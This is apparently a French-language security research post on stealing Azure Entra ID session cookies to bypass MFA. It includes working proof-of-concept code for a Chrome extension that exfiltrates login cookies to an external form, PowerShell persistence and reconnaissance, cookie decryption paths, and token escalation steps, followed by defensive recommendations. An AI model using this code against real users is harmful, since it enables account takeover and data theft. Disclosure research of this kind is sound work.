Cookie-Bite : comment vos miettes numériques permettent aux acteurs malveillants de contourner l’authentification multifacteur et de maintenir l’accès aux environnements cloud

Un accès initial silencieux et indétectable est la pierre angulaire d’une cyberattaque réussie. L’authentification multifacteur (MFA) est conçue pour empêcher tout accès non autorisé, mais les attaquants perfectionnent constamment leurs techniques pour contourner cette défense.  

Les chercheurs du Varonis Threat Labs ont découvert des techniques que les attaquants utilisent pour contourner l’authentification multifacteur en utilisant des cookies de navigateur volés. En utilisant des extensions de navigateur malveillantes et des scripts d’automatisation personnalisés, les pirates parviennent à extraire et à réutiliser des cookies d’authentification. Il peuvent alors se faire passer pour des utilisateurs, sans utiliser d’informations d’utilisation et sur une longue période.  

Les acteurs malveillants utilisent souvent des infostealers pour extraire les jetons d’authentification de la machine d’une victime ou les achètent directement sur les marchés noirs, ce qui permet aux attaquants de détourner des sessions cloud actives sans déclencher l’authentification multifactorielle (MFA). En injectant ces cookies tout en imitant le système d’exploitation, le navigateur et le réseau de la victime, les attaquants peuvent contourner les politiques d’accès conditionnel (CAP) et maintenir un accès sur une longue période.  

La preuve de concept démontre comment le détournement de session peut permettre un accès non autorisé aux applications Microsoft 365 (notamment Outlook et Teams), qui facilite une reconnaissance supplémentaire et une élévation des privilèges.  

Nous couvrons plusieurs points clés dans notre recherche : 

• Comment les infostealers volent des cookies 

• Le cookie responsable de l'authentification dans Azure 

• Politique d’accès conditionnel et contournement. 

• Post-exploitation avec une session valide. 

• Comment détecter les sessions volées dans les logs Azure 

Voleurs affamés : comment les cookies sont extraits par Infostealer

L’infostealer, une forme de malware, est devenu une entité redoutable, habile à voler des données sensibles, notamment les cookies d’authentification. Ces programmes malveillants s’introduisent dans les systèmes afin d’exfiltrer les identifiants de connexion, les cookies de session et les jetons d’authentification, qui sont ensuite envoyés à des serveurs distants contrôlés par des cybercriminels.  

Avec des cookies volés, les attaquants peuvent détourner les sessions actives des utilisateurs, se faire passer pour des utilisateurs légitimes et contourner entièrement l’authentification multifacteur (MFA). Pour le dire simplement, ils volent votre identité. 

La plupart des infostealers n’utilisent pas directement les données volées. Au lieu de cela, ils fonctionnent dans le cadre d’un modèle « malware-as-a-service » (MaaS), où différents acteurs jouent des rôles spécialisés. Ces rôles peuvent comprendre : 

• Les opérateurs d’infostealers, qui développent et distribuent des logiciels malveillants pour infecter autant de victimes que possible. 

• Des traceurs (affiliés), qui propagent le logiciel malveillant en utilisant des techniques de phishing, des publicités malveillantes ou des cracks de logiciels. 

• Les places de marché du darknet servent de centre où les cybercriminels vendent en gros des cookies, des identifiants et des empreintes de navigateur volés. 

• Les acheteurs (provenant de groupes de courtiers en accès initial ou de groupes spécialisés dans les ransomwares) achètent ces identifiants pour obtenir un accès non autorisé aux services cloud, aux VPN d’entreprise et aux plateformes sensibles. 

Une fois vendus, les cookies d’authentification volés permettent aux attaquants de se connecter à la place de la victime, souvent en contournant l’authentification multifactorielle (MFA). Cette technique, connue sous le nom de « détournement de session », est largement exploitée pour commettre des violations de données dans les entreprises, des fraudes financières et de l’espionnage.  

Les chemins qui permettent le vol de cookies 

Dans le paysage en constante évolution du piratage de sessions, les attaquants emploient diverses techniques pour dérober des cookies d’authentification, ce qui leur permet de contourner l’authentification à plusieurs facteurs (MFA) et d’usurper l’identité d’utilisateurs légitimes. Les infostealers, les opérateurs de logiciels malveillants et les campagnes de phishing avancées exploitent tous le vol de cookies comme vecteur d’attaque principal. 

Principales méthodes utilisées pour dérober des cookies d’authentification  

Adversary-in-the-Middle (AITM) 

Les attaques par hameçonnage AITM vont au delà du vol traditionnel d’identifiants en interceptant en temps réel les jetons d’authentification et les cookies de session. Les attaquants utilisent des outils de proxy inverse (par exemple, Evilginx, Modlishka, Muraena) pour s’interposer entre la victime et le service d’authentification légitime (par exemple, Microsoft 365, Google).  

Lorsque la victime se connecte, le proxy capture les informations d’identification, les jetons MFA et les cookies de session, ce qui permet à l’attaquant de contourner l’authentification multifactorielle et de détourner la session sans avoir de nouveau besoin du mot de passe de l’utilisateur. Cette technique est largement utilisée pour compromettre des comptes cloud et contourner les défenses d’authentification modernes. 

Vidage de la mémoire du processus du navigateur 

Les infostealers exploitent le fait que les navigateurs décryptent les cookies pendant les sessions actives et les stockent en mémoire pour un accès rapide. Les logiciels malveillants peuvent injecter du code dans les processus de navigateur en cours d’exécution (par exemple, chrome.exe, msedge.exe) pour lire cet espace mémoire et extraire les cookies en texte clair. Cette méthode évite d’avoir à déchiffrer les cookies à partir du disque, car elle y accède après déchiffrement pendant leur utilisation active. 

Extensions de navigateur malveillantes 

Les extensions de navigateur malveillantes offrent aux attaquants un accès direct aux cookies d’authentification et aux jetons de session en opérant dans le contexte de sécurité du navigateur. Ces extensions, souvent déguisées en outils légitimes, demandent des autorisations excessives qui leur permet d’interagir avec les sessions web, de modifier le contenu des pages et d’extraire les données d’authentification stockées. Une fois installées, elles peuvent accéder à l’API de stockage du navigateur, intercepter les requêtes réseau ou injecter du JavaScript malveillant dans les sessions actives pour voler des cookies de session en temps réel.  

Contrairement aux logiciels malveillants traditionnels, aucune injection de processus ni décryptage de disque n’est nécessaire, ce qui rend cette technique plus difficile à détecter au niveau de l’endpoint. Les jetons d’authentification volés sont exfiltrés vers le serveur de l’attaquant, où ils peuvent être réutilisés pour contourner l’authentification multifactorielle et usurper l’identité de la victime. 

Généralement, les navigateurs stockent les extensions sous le chemin suivant (Chrome) : 

• Windows : C:\Users\\AppData\Local\Google\Chrome\User Data\Default\Extensions  
• Linux : ~/.config/google-chrome/Default/Extensions/ 
• MacOS ~/Library/Application\ Support/Google/Chrome/Default/Extensions 

Les extensions de navigateur personnalisées non signées peuvent être chargées lorsque le mode développeur est activé, puis rechargées. 

Déchiffrement des cookies stockés localement  

Les navigateurs stockent les cookies d’authentification dans des bases de données SQLite chiffrées pour maintenir la session tout en protégeant les données sensibles des utilisateurs. Cependant, les attaquants peuvent extraire et déchiffrer ces cookies en obtenant à la fois la base de données des cookies stockés et la clé de chiffrement utilisée pour les protéger.  

La méthode varie en fonction du système d’exploitation et du modèle de sécurité du navigateur. Windows utilise par exemple le cryptage DPAPI, tandis que Linux et macOS utilisent des mécanismes de trousseau spécifiques au système. 

Par exemple : 

• Les cookies de session stockés sur un Mac peuvent se trouver dans le dossier /Library/Application Support/Google/Chrome/Default/Cookies restreint par le cadre de sécurité Transparency, Consent and Control (TCC) 

Sous Windows, les navigateurs basés sur Chromium (Chrome, Edge, Brave, etc.) stockent les cookies d’authentification dans le dossier User Data/.../Network/Cookies. La base de données principale SQLite contient des cookies chiffrés AES. Local State stocke la clé de chiffrement AES, qui est elle-même chiffrée à l’aide de l’API de protection des données Windows (DPAPI) 

Étant donné que DPAPI lie le chiffrement au profil utilisateur et à la machine, les attaquants ne peuvent pas facilement déchiffrer les cookies en dehors du système de la victime. Pour contourner cela, les voleurs d’informations doivent soit : 

• Décrypter la clé AES localement en utilisant DPAPI (CryptUnprotectData()) dans la session infectée. 
• Voler la clé principale DPAPI (C:\Users\...\AppData\Roaming\Microsoft\Protect) pour tenter un décryptage hors ligne. La clé principale est chiffrée avec 
  le mot de passe de l’utilisateur (utilisateur local ou utilisateur AD) ou 
  le secret DPAPI_SYSTEM, dans le cas de comptes intégrés 

	
		
//*
from win32.win32crypt
import CryptProtectData 
import base64 
import sqlite3 
import os 
from Cryptodome.Cipher.AES import new, MODE_GCM # pip install pycryptodomex 
import decrypt 
import json 
from os.path import expandvars 
  
def encrypt_dpapi_blob(decrypted_blob): 
encrypted_blob = CryptProtectData(decrypted_blob, DataDescr="Google Chrome", OptionalEntropy=None, Reserved=None, PromptStruct=None, Flags=0) 
encrypted_blob = b’DPAPI’ + encrypted_blob 
encrypted_blob_base64 = base64.b64encode(encrypted_blob) 
return encrypted_blob_base64 
  
def encrypt_cookies(cookies_db, key): 
sqlite3.enable_callback_tracebacks(True) 
 /………/ 
	

Déchiffrer le blob en utilisant DPAPI 

Quels cookies sont les cibles les plus précieuses ? 

Lorsqu’ils compromettent un appareil, les attaquants privilégient les cookies en fonction de leur potentiel d’exploitation ultérieur. La valeur des cookies volés dépend à la fois des motivations des attaquants et de la demande du marché. Dans la plupart des cas, les cookies les plus précieux sont ceux qui offrent un accès à long terme à des comptes de grande valeur ou permettent des opportunités de post-exploitation importantes. 

Les cookies de session liés à des comptes de réseaux sociaux (par exemple : Facebook, Instagram ou Twitter) peuvent être très lucratifs, surtout si le compte a un grand nombre d’abonnés, une influence commerciale ou un accès à des comptes de dépenses publicitaires. Cependant, leur utilité dépend du statut du compte et de la valeur de revente. 

D’autre part, les cookies issus de sessions cloud d’entreprise actives, comme celles de Microsoft 365, de Google Workspace ou d’AWS, sont souvent plus attrayants pour une post-exploitation ciblée. Une session d’entreprise détournée peut permettre aux attaquants d’accéder aux e-mails internes, d’exfiltrer des données sensibles, d’élever les privilèges ou même de se déplacer latéralement sur l’ensemble d’un réseau d’entreprise, ce qui peut potentiellement conduire à une compromission totale de l’entreprise. 

Détournement de l'authentification Azure 

Cette recherche se concentre sur ESTSAUTH et ESTSAUTHPERSISTENT, deux cookies d’authentification critiques utilisés par Azure Entra ID (anciennement AAD). Ces cookies maintiennent les sessions cloud authentifiées et permettent l’accès à Microsoft 365, au portail Azure et à d’autres applications d’entreprise.  

En détournant ces jetons de session, les attaquants peuvent contourner l’authentification multifacteur, se faire passer pour des utilisateurs et se déplacer latéralement dans les environnements cloud, ce qui fait de ces jetons l’une des cibles les plus précieuses pour les voleurs d’informations et les acteurs malveillants. 

Cookies d’authentification d’autres fournisseurs de cloud 

Avertissement : notre article se concentre principalement sur les cookies liés à l’authentification Azure, mais les techniques et les approches présentées peuvent également s’appliquer à d’autres plateformes et services cloud répertoriés dans le tableau ci-dessus. Les résultats pratiques peuvent varier selon l’environnement cible et ses défenses, car chaque service possède sa propre architecture de cookies, sa propre gestion des sessions et sa propre sécurité.   

Rôle des jetons ESTSAUTH et ESTSAUTHPERSISTENT 

Dans l’authentification web Azure Entra ID, ESTSAUTH et ESTSAUTHPERSISTENT sont des jetons de session importants stockés sous forme de cookies de navigateur qui représentent la session authentifiée de l’utilisateur : 

• ESTSAUTH : il s’agit du cookie de session principal d’Azure Entra ID. Il « contient les informations de session de l’utilisateur pour faciliter l’authentification unique (SSO) ». Il s’agit d’un jeton de session temporaire, ce qui signifie qu’il est valide pendant toute la durée de la session du navigateur. Si l’utilisateur ferme le navigateur et n’a pas opté pour une connexion persistante, le cookie ESTSAUTH est supprimé, et une nouvelle connexion sera requise pour une prochaine session. Par défaut, un cookie ESTSAUTH (session non persistante) a une validité de 24 heures, après quoi l’utilisateur devra s’authentifier à nouveau. 
• ESTSAUTHPERSISTENT : ceci est une version persistante du cookie de session Azure Entra ID. Il contient également des informations de session pour l’authentification unique (SSO), mais elles sont stockées sous forme de cookie persistant, qui reste même après la fermeture du navigateur. Ce cookie est créé lorsqu’un utilisateur choisit de « rester connecté » ou lorsque la fonctionnalité « Rester connecté » (KMSI) d’Azure Entra ID est appliquée. Un jeton de session persistant permet à l’utilisateur de rester connecté lors des redémarrages du navigateur pour une période prolongée. Par défaut, le cookie ESTSAUTHPERSISTENT peut rester valide pendant 90 jours (la période de connexion par défaut d’Azure Entra ID) ou pendant la durée spécifiée par la politique. Cela signifie que si un utilisateur choisit de rester connecté, il se peut qu’il ne soit pas invité à fournir à nouveau ses informations d’identification ou à effectuer une authentification multifacteur pendant une période pouvant aller jusqu’à 90 jours sur cet appareil. La politique d’Azure Entra ID est de ne pas générer d’invite de réauthentification à moins que le niveau de sécurité de la session ne change (par exemple, changement de mot de passe, déconnexion explicite, modification de politique)  

Ces cookies jouent un rôle crucial dans l’équilibre entre la sécurité et la convivialité d’Azure Entra ID. Ils portent une forme de justificatif de session qui prouve que l’utilisateur s’est récemment authentifié et, le cas échéant, a satisfait aux exigences de la MFA. Par exemple, après une authentification réussie, Azure Entra ID peut créer un cookie ESTSAUTHPERSISTENT si l’utilisateur a cliqué sur « Oui » pour rester connecté. Lors des connexions suivantes, la présence de ce cookie permet à Azure Entra ID d’authentifier instantanément l’utilisateur sans créer d’autre invite de MFA. En d’autres termes, le cookie sert de preuve que « cet utilisateur a déjà effectué la MFA sur ce navigateur, donc inutile de créer une autre invite » et accorde un accès immédiat. 

En résumé, les jetons ESTSAUTH(PERSISTENT) sont essentiellement les « clés du royaume » pour cette session utilisateur ; ils prouvent que la MFA a été contourné et permettent un accès continu. Si un attaquant parvient à obtenir ces jetons, il peut usurper l’identité de la session de l’utilisateur et contourner l’ensemble du processus de connexion (y compris l’authentification multifacteur), car Azure Entra ID considérera sa session comme déjà authentifiée. Les sections suivantes explorent comment les attaquants y parviennent et comment s’en défendre. 

Ces cookies sont stockés localement dans la base de données SQLite de Chrome, située à l’emplacement suivant : 

%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies  

Chrome crypte les valeurs des cookies à l’aide de DPAPI, qui lie le chiffrement au profil Windows de l’utilisateur actuel. 

Créer un voleur de cookies personnalisé : une preuve de concept étape par étape. 

Dans cette preuve de concept, nous avons créé un voleur de cookies persistants qui extrait les cookies d’authentification d’une session de navigateur active et les exfiltre chaque fois que la victime se connecte au portail d’authentification de Microsoft. 

Cette attaque contourne l’authentification multifactorielle (MFA) en exploitant les cookies de session, ce qui donne un accès continu aux services cloud sans nécessiter les identifiants de l’utilisateur. Au lieu d’un vol de cookies unique, cette méthode garantit que des cookies de session valides sont extraits chaque fois que l’utilisateur se connecte et maintient un accès non autorisé à long terme. 

À la fin de ce PoC, nous aurons : 

• Une extension Chrome personnalisée qui surveille les événements d’authentification et capture les cookies. 

• Un script PowerShell qui automatise le déploiement de l’extension et assure sa persistance. 

• Un mécanisme d’exfiltration simple pour envoyer les cookies à un point de collecte externe. 

• Une extension complémentaire pour injecter sans effort les cookies capturés dans le navigateur de l’attaquant, ce qui facilite un détournement de session immédiat et furtif 

Flux 

Le schéma suivant décrit le flux de bout en bout de notre preuve de concept et montre comment les attaquants capturent, exfiltrent et réutilisent silencieusement les cookies d’authentification pour pirater les sessions cloud de leurs victimes : 

Étape 1 : Création de l’extension Chrome pour l’extraction des cookies 

Tout d’abord, nous développons une extension Chrome qui écoute les événements d’authentification et dérobe les cookies de session lorsque la victime accède à login.microsoftonline.com. 

1.1 Configuration du répertoire de l’extension 

Créez un nouveau répertoire nommé « CookieStealer Extension ». Dans ce répertoire, créez deux fichiers : 

• manifest.json (Définit les autorisations et les comportements) 

• background.js (Gère l'extraction et l'exfiltration des cookies) 

1.2 Configuration de manifest.json 

Le fichier manifeste définit le comportement de l’extension, les autorisations requises et les scripts d’arrière-plan. 

Créez le fichier manifest.json dans le répertoire de l'extension : 

Ce que cela fait : 

• Autorise l’accès aux cookies, aux onglets et aux requêtes web. 

• Limite l’exécution à login.microsoftonline.com. 

• Charge le fichier background.js en tant que service d’arrière-plan pour s’exécuter de manière continue. 

1.3 Écriture de la logique d’extraction des cookies (background.js) 

L’extension extrait les cookies chaque fois que la victime se connecte au portail d’authentification de Microsoft. 

Créez background.js et ajoutez les éléments suivants : 

	
		
//*
function extractAndExfiltrateCookies() { 
    chrome.cookies.getAll({}, (cookies) => { 
        const filteredCookies = cookies.filter(cookie =>             cookie.domain.includes("login.microsoftonline.com") 
        ); 
 
        if (filteredCookies.length === 0) { 
            return; 
        } 
 
        exfiltrateCookiesToGoogleForm(filteredCookies); 
    }); 
} 
 
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => { 
    if (changeInfo.url && changeInfo.url.includes("https://login.microsoftonline.com")) { 
        extractAndExfiltrateCookies(); 
    } 
});  
  
	

Cookie de l’extension lors de la connexion 

L’extension écoute les demandes d’authentification à login.microsoftonline.com. 

Lorsqu’une connexion a lieu, elle extrait les cookies (y compris ESTSAUTH et ESTSAUTHPERSISTENT). 

J’ai choisi d’exfiltrer les cookies discrètement avec Google Forms, directement sur mon Drive personnel : 

	
		
//*
 
function exfiltrateCookiesToGoogleForm(cookies) { 
let cookieJson = JSON.stringify(cookies, null, 2); 
  
const formData = new URLSearchParams(); 
formData.append(FIELD_NAME, cookieJson); 
  
fetch(FORM_URL, { 
method: "POST", 
body: formData, 
headers: { 
"Content-Type": "application/x-www-form-urlencoded" 
} 
}).catch(err => {}); 
} 
  
	

Exfiltration de cookies via Google Forms 

Une fois l’extension prête, l’étape suivante est d’automatiser son déploiement. 

Après avoir empaqueté l’extension dans un fichier CRX et l’avoir téléchargée sur VirusTotal, le résultat montre qu’aucun fournisseur de sécurité ne la détecte actuellement comme malveillante.

Étape 2 : automatiser le déploiement avec PowerShell 

Pour automatiser le chargement de notre extension, nous allons créer un script PowerShell qui chargera l’extension dans le profil utilisateur par défaut de Chrome. Une partie du code qui a exécuté cette action : 

Ce script PowerShell charge l’extension dans un processus Chrome nouvellement lancé. Cependant, l’extension reste active uniquement pendant la durée de cette session Chrome. Une fois Chrome fermé, l’extension est automatiquement supprimée.  

Il est donc conseillé de planifier l’exécution périodique de ce script (par exemple, toutes les quelques heures ou quotidiennement, ce qui peut être réalisé à l’aide d’une tâche planifiée ou du dossier de démarrage). Bien qu’il existe des méthodes pour charger les extensions de manière persistante, telles que l’utilisation de stratégies basées sur le registre ou l’injection directe de l’extension dans le fichier Secure Preferences de Chrome en contournant le code d’authentification des messages (MAC), ces approches sont plus complexes et nécessitent généralement des privilèges administrateur. 

Les entreprises peuvent restreindre l’utilisation des scripts PowerShell. Dans de tels cas, nous devrons trouver des solutions de remplacement, comme Python, VBScript ou des macros pour obtenir des résultats similaires. 

Étape 3 : injection de cookies  

Après avoir volé les cookies de session, l’étape suivante consiste à les injecter dans le navigateur de l’attaquant pour obtenir l’accès désiré. Pour accomplir cela, nous avons utilisé une extension Chrome appelée Cookie-Editor (ID : hlkenndednhfkekhgcdicdfddnkalmdm), disponible dans le Chrome Web Store.  

Tout d'abord, copiez les données du cookie renvoyées par notre formulaire Google, qui sont déjà au format JSON. 

Ensuite, nous importons les données de cookies copiées dans l’extension Cookie-Editor. 

Enfin, actualisez la page pour accéder au portail cloud de la victime cible. 

Nous avons remarqué dans les logs de connexion Azure que nous avons deux authentifications réussies avec le même identifiant de session, qui provient de différents emplacements et versions de navigateur, dans un court laps de temps : 

L’avantage de cette approche est qu’elle accorde une session valide à l’infrastructure Azure de l’utilisateur cible. Cela reste effectif, que la session ait expiré ou ait été révoquée, car l’extension persiste et est déclenchée à chaque fois que la connexion Microsoft est lancée. 

Démo en direct

Conclusion 

Cette preuve de concept démontre comment un attaquant peut élaborer un voleur de cookies persistants en utilisant uniquement une extension de navigateur et l’automatisation PowerShell. En exploitant les hooks d’événements d’authentification, l’attaque garantit l’extraction continue des cookies de session valides, ce qui assure un accès non autorisé à long terme. 

Points clés à retenir : 

• Cette technique ne nécessite pas une infection par un logiciel malveillant, mais un simple script, ce qui la rend plus difficile à détecter. 
• La persistance est obtenue avec le navigateur lui-même, ce qui évite toute modification du système. 
• Les attaquants peuvent contourner l’authentification multifactorielle en volant les cookies de session à chaque tentative de connexion. 

Les politiques d’accès conditionnel ont été définies ? Il faut travailler plus dur. 

Présentation des politiques d’accès conditionnel 

Les politiques d’accès conditionnel (CAP) offrent une couche de défense robuste en définissant des conditions spécifiques qui doivent être remplies avant d’autoriser l’accès aux ressources cloud. Les CAP évaluent des facteurs tels que l’emplacement de l’utilisateur, la conformité des appareils, les versions du système d’exploitation ou les applications clientes pour appliquer dynamiquement des contrôles de sécurité, ce qui réduit considérablement le risque d’accès non autorisé, même lorsque les identifiants ou les sessions sont compromis.  

Pour renforcer l’application, les CAP utilisent les signaux de conformité de plateformes telles que Microsoft Intune. Intune permet aux organisations de définir des normes de sécurité pour les appareils (par exemple, s’assurer qu’un appareil est chiffré, à jour ou conforme aux exigences du système d’exploitation). L’accès conditionnel évalue ensuite ces signaux à chaque tentative d’authentification, n’autorisant l’accès que si les conditions de sécurité spécifiées sont remplies, ce qui renforce votre posture de sécurité globale. 

Exemple pratique 

Voyons cela en pratique en créant une CAP qui restreint l’accès des utilisateurs aux ressources cloud à partir d’emplacements autres que l’Allemagne, pays que nous avons configuré comme un lieu autorisé nommé : 

Si nous tentons d’accéder à des ressources en dehors de cet emplacement autorisé, nous rencontrerons un accès bloqué : 

Étant donné que la CAP appliquée empêche l’accès direct, il est utile de recueillir des détails supplémentaires de l’hôte de l’utilisateur pour simuler avec précision une requête typique d’utilisateur. 

Nous pouvons faire cela en exécutant un script PowerShell mis à jour qui collecte des informations telles que le domaine, le nom d’hôte et le système d’exploitation : 

	
		
//*
 
# Collect Hostname 
$hostname = $env:COMPUTERNAME 
# Collect Domain Name 
$domainName = (Get-WmiObject Win32_ComputerSystem).Domain 
if ($domainName -eq $hostname) { 
$domainName = "Not Domain Joined" 
} 
} catch { 
$domainName = "Unavailable" 
} 
# Collect OS details 
$operatingSystem = (Get-CimInstance -ClassName Win32_OperatingSystem).Caption 
# Organize collected data 
$data = [PSCustomObject]@{ 
Hostname = $hostname 
DomainName = $domainName 
OperatingSystem = $operatingSystem 
} 
	

 Collecte de données via PowerShell 

En outre, la collecte de données telles que l’adresse IP publique de l’utilisateur, la version du navigateur, l’agent utilisateur et l’historique du navigateur aidera à identifier les emplacements approuvés et les ressources fréquemment consultées au cours d’une session typique de l’utilisateur. 

Après avoir relevé les habitudes d’interaction habituelles de l’utilisateur avec l’infrastructure cloud, nous pouvons alors usurper efficacement son identité et contourner certaines restrictions de la CAP. 

Que se passe-t-il ensuite ? Exploration de la post-exploitation avec des sessions volées 

Tirer parti des applications Azure pour les entreprises 

Un attaquant qui parvient à s’authentifier à l’aide d’un cookie de session volé obtient l’accès aux applications Azure Enterprise disponibles pour cet utilisateur.  

Chaque application peut avoir ses propres autorisations distinctes, soit directement attribuées à l’application, soit déléguées avec des autorisations de niveau utilisateur. Par exemple, Outlook utilise l’API Microsoft Graph, ce qui pourrait permettre à un attaquant de répertorier les utilisateurs qui appartiennent au tenant. 

 De même, SharePoint Online peut fournir des autorisations d'écriture au niveau des fichiers, permettant la modification des données ou d'autres manipulations du contenu. En exploitant stratégiquement ces autorisations d'application, un attaquant pourrait collecter des informations sensibles, lancer des campagnes de phishing ciblées pour se déplacer latéralement ou, selon les autorisations obtenues, enregistrer de nouvelles applications ou même créer des utilisateurs supplémentaires. 

Vue d'ensemble des applications d'entreprise 

Après avoir réussi à détourner une session utilisateur, la première étape d’un attaquant consiste probablement à accéder à l’application Graph Explorer, qui permet d’interroger des ressources critiques d’Azure telles que les utilisateurs, les appareils, les groupes et les rôles au sein du tenant compromis. 

Dans cet exemple, l’application utilise la portée d’autorisation User.ReadBasic.All, qui permet d’accéder aux informations basiques des utilisateurs, telles que les noms d’utilisateur, les adresses e-mail et les noms d’affichage. Avec des autorisations augmentées ou supplémentaires telles que User.Read.All ou Directory.Read.All, un attaquant peut considérablement étendre sa capacité à répertorier des données plus détaillées et sensibles, ce qui renforce ses capacités d’attaque au sein du tenant. 

Ensuite, nous pouvons également accéder à https://outlook.office365.com/mail/ et trouver des e-mails personnels intéressants ou des mots de passe enregistrés quelque part. 

Outils pour la manipulation et l'escalade des jetons Azure Entra ID 

Plusieurs outils de sécurité facilitent l’interaction avec les jetons Azure Entra ID, ce qui permet aux attaquants d’exploiter des sessions authentifiées et d’élever leurs privilèges.  

Parmi les outils les plus populaires, citons ROADtools (par Dirk-Jan Mollema), qui permet l’énumération, l’extraction de jetons et l’échange de jetons entre applications à l’aide de la famille d’identifiants client (FOCI) ; AADInternals (Nestori Syynimaa), qui offre des fonctionnalités étendues pour la manipulation, l’extraction et l’élévation des privilèges des jetons dans Azure Active Directory. 

TokenSmith (JumpsecLabs) est conçu pour manipuler, valider et falsifier facilement les jetons Azure Entra ID. Ces outils permettent aux attaquants et aux chercheurs en sécurité de pivoter à travers les services Azure, d’obtenir un accès plus approfondi, d’énumérer les ressources et d’élever les privilèges au sein des environnements Azure compromis. 

Avec une session de navigateur authentifiée valide capturée à l’aide de cookies volés, il est possible d’obtenir des jetons d’accès et de rafraîchissement sans avoir besoin des véritables identifiants de la victime. Pour atteindre cet objectif, nous utilisons TokenSmith, un outil conçu pour simplifier le processus de récupération des jetons OAuth. Plus précisément, TokenSmith est utilisé pour lancer un flux de code d’autorisation OAuth vers l’endpoint d’authentification de Microsoft (https://login.microsoftonline.com/common/oauth2/v2.0/authorize), en spécifiant l’identifiant client de Microsoft Teams (1fec8e78-bce4-4aaf-ab1b-5451cc387264).  

Cette approche utilise la session de cookie authentifiée pour contourner le prompt d’authentification habituel et fournir directement un code d’autorisation. TokenSmith échange ensuite ce code d’autorisation à l’endpoint (https://login.microsoftonline.com/common/oauth2/v2.0/token), et récupère ainsi l’Access Token et le Refresh Token, ainsi que leurs portées associées.  

Ces jetons indiquent les autorisations et les niveaux d’accès exacts hérités de la session authentifiée d’origine de la victime, ce qui donne à l’attaquant un accès persistant jusqu’à ce que les jetons expirent ou soient révoqués. 

En décodant le jeton d'accès, nous pouvons extraire des détails critiques, tels que : 

• Autorisations (scopes) accordées au jeton 

• Ressource demandée (Audience) 

• Identité de l’utilisateur (OID, UPN, Nom) et détails du tenant 

• ID d’application (ID client) pour comprendre quel service a demandé le jeton. 

• Heure d'expiration des jetons et autres attributs de sécurité 

Étant donné que nous possédons désormais à la fois le jeton d’accès et le jeton d’actualisation, nous pouvons exploiter les outils mentionnés précédemment (ROADtools, AADInternals, TokenSmith, etc.) pour demander des jetons supplémentaires et élever les privilèges au sein du tenant.  

Cette démonstration met en évidence une préoccupation de sécurité critique : nous avons progressé avec succès dans notre phase de post-exploitation sans avoir besoin des informations d’identification de la victime, seulement avec sa session authentifiée.  

Recommandations 

Cette recherche met en évidence comment le détournement de sessions Azure Entra ID peut offrir aux attaquants un accès persistant aux applications et aux infrastructures cloud critiques. En exploitant des cookies de session volés, un adversaire peut contourner les mécanismes d’authentification et accéder sans difficulté aux environnements cloud sans avoir besoin des identifiants utilisateur. 

Au-delà de l’accès initial, le détournement de session peut faciliter le mouvement latéral à travers le tenant, ce qui permet aux attaquants d’explorer des ressources supplémentaires, d’accéder à des données sensibles et d’élever les privilèges en abusant des autorisations existantes ou des rôles mal configurés. La capacité d’usurper l’identité d’utilisateurs légitimes crée des opportunités pour l’élévation des privilèges, l’exfiltration de données et la persistance à long terme dans l’environnement cloud d’une organisation. 

Comprendre ces risques est crucial pour renforcer les défenses contre les attaques basées sur les sessions, c’est pourquoi nous recommandons : 

• De surveiller en continu et de détecter les comportements anormaux des utilisateurs. 
• Utilisez Microsoft Risk lors des événements de connexion pour détecter des connexions inhabituelles 
• Microsoft a signalé nos tentatives de connexion comme « à risque » en raison du type de risque « anonymizedIPAddress », déclenché parce que nous avons utilisé un VPN lors de la démonstration pour contourner la CAP.  
• Configurez la CAP en imposant la connexion sur des appareils conformes uniquement, en plus de la protection par jeton 
• De mettre en œuvre les règles ADMX de Chrome pour appliquer une liste d’autorisation d’extensions de navigateur approuvées 

Découvrez davantage de contenus créés par Varonis Threat Labs.